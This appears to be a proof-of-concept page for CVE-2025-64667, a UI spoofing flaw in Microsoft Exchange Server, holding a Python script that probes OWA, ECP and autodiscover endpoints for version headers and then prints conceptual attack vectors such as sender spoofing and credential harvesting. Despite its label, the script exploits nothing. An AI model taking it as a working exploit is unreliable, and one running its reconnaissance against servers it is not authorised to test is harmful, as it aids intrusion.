CVE-2025-64667 Microsoft Exchange Server UI欺骗漏洞

# CVE-2025-64667 PoC - UI Misrepresentation in Exchange Server # This PoC demonstrates how an attacker could exploit UI misrepresentation import requests import re from urllib.parse import urljoin def exploit_cve_2025_64667(target_url, attacker_controlled_domain): """ Simulate UI misrepresentation attack on Microsoft Exchange Server Note: This is for educational/testing purposes only """ print(f"[*] Targeting: {target_url}") # Step 1: Identify Exchange Server version and vulnerable endpoints session = requests.Session() # Check for ECP or OWA endpoints endpoints = [ '/owa/auth/logon.aspx', '/ecp/auth/logon.aspx', '/autodiscover/autodiscover.xml' ] for endpoint in endpoints: try: response = session.get(urljoin(target_url, endpoint), timeout=10) if 'X-OWA-Version' in response.headers: print(f"[+] Found Exchange endpoint: {endpoint}") print(f"[+] Version: {response.headers.get('X-OWA-Version', 'Unknown')}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 2: Analyze UI response for misrepresentation vectors print("[*] Analyzing UI response for misrepresentation vulnerabilities...") # Step 3: Craft malicious UI injection (conceptual) # In real attack, attacker would intercept and modify: # - From/To email addresses # - URL links in emails # - Security warnings # - Authentication prompts print("[*] UI misrepresentation vectors:") print(" - Email sender spoofing via modified From headers") print(" - Fake security warnings via manipulated UI responses") print(" - Credential harvesting pages via URL manipulation") print(" - Calendar/event manipulation via ECP interface") print("[!] This PoC demonstrates the vulnerability concept.") print("[!] Actual exploitation requires man-in-the-middle position or") print("[!] specific Exchange configuration weaknesses.") return True # Usage example if __name__ == "__main__": target = "https://exchange.example.com" exploit_cve_2025_64667(target, "attacker-controlled-domain.com")